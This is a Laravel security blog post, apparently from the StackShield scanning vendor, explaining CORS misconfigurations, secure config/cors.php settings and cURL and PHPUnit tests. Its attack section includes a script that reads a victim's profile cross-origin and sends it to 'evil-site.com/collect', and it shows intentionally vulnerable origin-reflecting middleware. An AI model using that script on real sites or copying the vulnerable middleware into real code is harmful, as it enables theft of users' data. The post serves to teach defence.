Security 10 min read

CORS Misconfigurations in Laravel: How Misconfigured CORS Policies Create Security Holes

Misconfigured CORS policies are one of the most common and overlooked vulnerabilities in Laravel applications. Learn how wildcard origins, reflected headers, and credential misconfigurations open the door to data theft, and how to lock them down properly.

Matt King
Matt King
March 31, 2026
Last updated: March 31, 2026
CORS Misconfigurations in Laravel: How Misconfigured CORS Policies Create Security Holes

Cross-Origin Resource Sharing (CORS) is one of those security mechanisms that most Laravel developers configure once during project setup and never revisit. The default config/cors.php file ships with reasonable settings, but production realities, such as multiple frontend domains, mobile apps, and third-party integrations, push developers toward increasingly permissive configurations. Each loosening of the CORS policy creates potential attack surface that is invisible to standard testing.

This post breaks down exactly how CORS works, the most common misconfigurations in Laravel applications, how attackers exploit them, and how to configure your CORS policy correctly.


What CORS Is and Why It Exists

Browsers enforce a security model called the Same-Origin Policy (SOP). Under SOP, JavaScript running on https://evil.com cannot read responses from https://your-app.com. This is the browser's most fundamental defence against cross-origin data theft.

CORS is the controlled relaxation of that policy. When your Laravel API needs to accept requests from a frontend running on a different domain, CORS headers tell the browser which origins are allowed to read the response.

Here is the basic flow:

  1. The browser sends a request with an Origin header: Origin: https://your-frontend.com
  2. Your Laravel application responds with Access-Control-Allow-Origin: https://your-frontend.com
  3. The browser checks if the Origin matches the Access-Control-Allow-Origin value
  4. If they match, the browser allows JavaScript to read the response. If not, it blocks it.

For non-simple requests (those using custom headers, PUT/DELETE methods, or JSON content types), the browser sends a preflight OPTIONS request first to check whether the actual request is allowed.

The critical thing to understand: CORS is enforced by the browser, not by the server. Your server still processes the request regardless. CORS only controls whether the browser lets client-side JavaScript read the response.


Common CORS Misconfigurations in Laravel

1. Wildcard Origin with Credentials

This is the most dangerous misconfiguration. In config/cors.php:

// DANGEROUS: Do not do this
'allowed_origins' => ['*'],
'supports_credentials' => true,

Browsers actually block this specific combination. The spec forbids Access-Control-Allow-Origin: * when Access-Control-Allow-Credentials: true is set. However, some CORS middleware implementations work around this by reflecting the incoming Origin header instead of returning a literal *, which leads directly to the next vulnerability.

2. Reflecting the Origin Header

Some middleware implementations, and some custom Laravel middleware, read the incoming Origin header and echo it back in the Access-Control-Allow-Origin response header. This effectively allows every website on the internet to make authenticated cross-origin requests to your application.

// DANGEROUS: Custom middleware that reflects Origin
public function handle($request, Closure $next)
{
    $response = $next($request);
    $origin = $request->header('Origin');

    $response->headers->set('Access-Control-Allow-Origin', $origin);
    $response->headers->set('Access-Control-Allow-Credentials', 'true');

    return $response;
}

This is functionally identical to allowing every origin with credentials. Any malicious page can send requests with cookies attached and read the responses.

3. Overly Broad Wildcard Patterns

Laravel's CORS configuration supports wildcard patterns. Developers sometimes use overly broad patterns thinking they are being restrictive:

// DANGEROUS: Matches any subdomain, including attacker-controlled ones
'allowed_origins' => ['https://*.com'],

// DANGEROUS: Matches anything ending in your domain
'allowed_origins' => ['https://*.your-app.com'],

The second example looks safe but is problematic if you ever have a subdomain takeover vulnerability. An attacker who takes over abandoned.your-app.com can now make credentialed cross-origin requests to your API.

4. Including Unnecessary Allowed Headers and Methods

// Overly permissive
'allowed_methods' => ['*'],
'allowed_headers' => ['*'],
'exposed_headers' => ['*'],

While less dangerous than origin misconfigurations, wildcard methods and headers expand your attack surface unnecessarily. Exposing all response headers can leak internal information. Allowing all methods means preflight checks for dangerous methods like DELETE or PATCH will always pass.

5. Forgetting the Null Origin

Some developers explicitly allow the null origin, thinking it is harmless:

'allowed_origins' => ['https://your-frontend.com', 'null'],

The null origin is sent by requests from local files (file://), redirects, and sandboxed iframes. An attacker can craft a sandboxed iframe that sends requests with Origin: null, bypassing your origin allowlist.


How Attackers Exploit Misconfigured CORS

Here is a concrete attack scenario against a Laravel application with a reflected origin and credentials enabled.

Step 1: The attacker hosts the following page on https://evil-site.com:

<script>
fetch('https://your-app.com/api/user/profile', {
    credentials: 'include'
})
.then(response => response.json())
.then(data => {
    // Send stolen data to attacker's server
    fetch('https://evil-site.com/collect', {
        method: 'POST',
        body: JSON.stringify(data)
    });
});
</script>

Step 2: The attacker tricks a logged-in user into visiting https://evil-site.com (via phishing email, forum post, or ad redirect).

Step 3: The victim's browser sends an authenticated request to https://your-app.com/api/user/profile with session cookies attached.

Step 4: Your Laravel application processes the request, sees a valid session, and returns the user's profile data. Because the CORS policy reflects the Origin header, the response includes:

Access-Control-Allow-Origin: https://evil-site.com
Access-Control-Allow-Credentials: true

Step 5: The browser allows evil-site.com to read the response. The attacker now has the victim's profile data, and can repeat this for any API endpoint.

This attack is silent. The victim sees nothing unusual. There are no browser warnings. The requests look legitimate in your server logs because they carry valid session cookies.


How to Properly Configure CORS in Laravel

Laravel uses the config/cors.php configuration file, powered by the fruitcake/laravel-cors package (now integrated into the framework as of Laravel 9+). Here is a secure configuration:

<?php

// config/cors.php

return [
    /*
    |--------------------------------------------------------------------------
    | Allowed Origins
    |--------------------------------------------------------------------------
    | List every origin explicitly. Never use wildcards for authenticated APIs.
    */
    'allowed_origins' => [
        'https://your-frontend.com',
        'https://app.your-frontend.com',
    ],

    /*
    | Patterns are available if you need subdomain flexibility,
    | but keep them as specific as possible.
    */
    'allowed_origins_patterns' => [],

    /*
    | Only allow the HTTP methods your API actually uses.
    */
    'allowed_methods' => ['GET', 'POST', 'PUT', 'DELETE'],

    /*
    | Only allow headers your frontend actually sends.
    */
    'allowed_headers' => [
        'Content-Type',
        'Authorization',
        'X-Requested-With',
        'X-XSRF-TOKEN',
    ],

    /*
    | Only expose headers your frontend actually needs to read.
    */
    'exposed_headers' => [],

    /*
    | Max age for preflight cache (in seconds).
    | 86400 = 24 hours. Reduces preflight request volume.
    */
    'max_age' => 86400,

    /*
    | Only enable this if your frontend sends cookies or
    | Authorization headers cross-origin.
    */
    'supports_credentials' => true,
];

Key Principles

Principle 1: Explicit origins only. List every allowed origin by its full URL. If you have three frontends, list three origins. If the list changes per environment, use environment variables:

'allowed_origins' => explode(',', env('CORS_ALLOWED_ORIGINS', 'https://your-frontend.com')),

Then in your .env file:

CORS_ALLOWED_ORIGINS=https://your-frontend.com,https://staging.your-frontend.com

Principle 2: Credentials require explicit origins. If supports_credentials is true, you must use explicit origins. The browser will reject wildcard origins with credentials, but your middleware might silently reflect the origin instead, which is worse.

Principle 3: Minimal headers and methods. Only allow what your frontend actually uses. If your API only handles GET and POST requests, do not allow DELETE or PATCH. If your frontend only sends Content-Type and Authorization, do not allow all headers.

Principle 4: Use separate CORS configs for public and private routes. If you have a mix of public endpoints (no auth) and private endpoints (session or token auth), consider applying different CORS middleware:

// routes/api.php

// Public API: permissive CORS is acceptable
Route::middleware(['cors:public'])->group(function () {
    Route::get('/api/status', [StatusController::class, 'index']);
    Route::get('/api/pricing', [PricingController::class, 'index']);
});

// Private API: strict CORS required
Route::middleware(['auth:sanctum', 'cors:private'])->group(function () {
    Route::get('/api/user/profile', [ProfileController::class, 'show']);
    Route::put('/api/user/settings', [SettingsController::class, 'update']);
});

Testing Your CORS Configuration

Manual Testing with cURL

Test whether your application reflects arbitrary origins:

# Test with a legitimate origin
curl -I -X OPTIONS https://your-app.com/api/user/profile \
  -H "Origin: https://your-frontend.com" \
  -H "Access-Control-Request-Method: GET"

# Test with a malicious origin
curl -I -X OPTIONS https://your-app.com/api/user/profile \
  -H "Origin: https://evil-site.com" \
  -H "Access-Control-Request-Method: GET"

Check the response headers. If the second request returns Access-Control-Allow-Origin: https://evil-site.com, your application is reflecting origins and you have a vulnerability.

Test the Null Origin

curl -I -X OPTIONS https://your-app.com/api/user/profile \
  -H "Origin: null" \
  -H "Access-Control-Request-Method: GET"

If this returns Access-Control-Allow-Origin: null, sandboxed iframes can make authenticated requests to your API.

Automated Testing in PHPUnit

Add CORS validation to your test suite:

<?php

namespace Tests\Feature;

use Tests\TestCase;

class CorsSecurityTest extends TestCase
{
    public function test_cors_rejects_unknown_origins(): void
    {
        $response = $this->withHeaders([
            'Origin' => 'https://evil-site.com',
        ])->options('/api/user/profile');

        $this->assertNotEquals(
            'https://evil-site.com',
            $response->headers->get('Access-Control-Allow-Origin'),
            'CORS policy should not reflect arbitrary origins'
        );
    }

    public function test_cors_allows_legitimate_origin(): void
    {
        $response = $this->withHeaders([
            'Origin' => 'https://your-frontend.com',
        ])->options('/api/user/profile');

        $this->assertEquals(
            'https://your-frontend.com',
            $response->headers->get('Access-Control-Allow-Origin')
        );
    }

    public function test_cors_rejects_null_origin(): void
    {
        $response = $this->withHeaders([
            'Origin' => 'null',
        ])->options('/api/user/profile');

        $this->assertNotEquals(
            'null',
            $response->headers->get('Access-Control-Allow-Origin'),
            'CORS policy should not allow null origin'
        );
    }

    public function test_cors_does_not_use_wildcard_with_credentials(): void
    {
        $response = $this->withHeaders([
            'Origin' => 'https://your-frontend.com',
        ])->options('/api/user/profile');

        if ($response->headers->get('Access-Control-Allow-Credentials') === 'true') {
            $this->assertNotEquals(
                '*',
                $response->headers->get('Access-Control-Allow-Origin'),
                'Wildcard origin must not be used with credentials'
            );
        }
    }
}

Continuous Monitoring with StackShield

Manual testing and unit tests catch misconfigurations at development time, but CORS policies can change after deployment. A config update, a middleware change, or a new package can silently alter your CORS behaviour.

StackShield runs 30+ Laravel-specific security checks on every scan, including CORS misconfiguration detection. It tests your live application from the outside, the same perspective an attacker has, and flags reflected origins, wildcard credentials, and overly permissive header configurations.

Run a free StackShield scan to check your CORS configuration along with 30+ other Laravel security checks in under 60 seconds.


Quick Reference: CORS Security Checklist

Check Secure Insecure
Allowed origins Explicit list of trusted domains * or reflected Origin header
Credentials with wildcard Never combined supports_credentials: true with *
Null origin Blocked Allowed in origin list
Allowed methods Only methods your API uses * (all methods)
Allowed headers Only headers your frontend sends * (all headers)
Exposed headers Minimal or empty * (all headers)
Origin patterns Narrow, specific subdomains Broad patterns like *.com
Testing Automated tests in CI pipeline Manual checks only
Monitoring Continuous external scanning One-time configuration

Further Reading

Frequently Asked Questions

What is CORS and why does Laravel need it?

CORS (Cross-Origin Resource Sharing) is a browser security mechanism that controls which external domains can make requests to your application. Laravel needs CORS configuration because modern frontends often run on a different origin than the API backend. Without a properly configured CORS policy, browsers will block legitimate cross-origin requests. However, an overly permissive policy can allow malicious websites to make authenticated requests to your API and steal user data.

Is using a wildcard origin in CORS always dangerous?

A wildcard origin (*) is not inherently dangerous for truly public APIs that serve non-sensitive data and never use cookies or authentication headers. The real danger comes when you combine a wildcard origin with supports_credentials set to true, or when your API returns any private data. If your Laravel application uses session authentication, Sanctum, or returns user-specific data, a wildcard origin is a serious security risk.

How does StackShield detect CORS misconfigurations?

StackShield runs 30+ Laravel-specific security checks on every scan, including dedicated CORS misconfiguration detection. It sends test requests with various Origin headers to your application and analyses the Access-Control-Allow-Origin and Access-Control-Allow-Credentials response headers. If your application reflects arbitrary origins, uses wildcards with credentials, or exposes sensitive headers unnecessarily, StackShield flags it with specific remediation steps.

Can CORS misconfigurations lead to full account takeover?

Yes. If your Laravel application reflects any Origin header and allows credentials, an attacker can host a malicious page that makes authenticated API requests on behalf of a logged-in user. This can include reading profile data, changing email addresses, resetting passwords, or exfiltrating any data the user has access to. Combined with session-based authentication, a CORS misconfiguration can be just as dangerous as a cross-site scripting (XSS) vulnerability.

What is the difference between CORS and CSRF protection in Laravel?

CORS and CSRF protect against different attack vectors. CSRF protection prevents malicious sites from submitting state-changing requests (POST, PUT, DELETE) by requiring a valid token with each request. CORS controls which origins can read responses from your server. A site can still send a cross-origin POST request even if CORS blocks it from reading the response. You need both protections: CSRF tokens for state-changing operations and a strict CORS policy for controlling who can read your API responses.

Stay Updated on Laravel Security

Get actionable security tips, vulnerability alerts, and best practices for Laravel apps.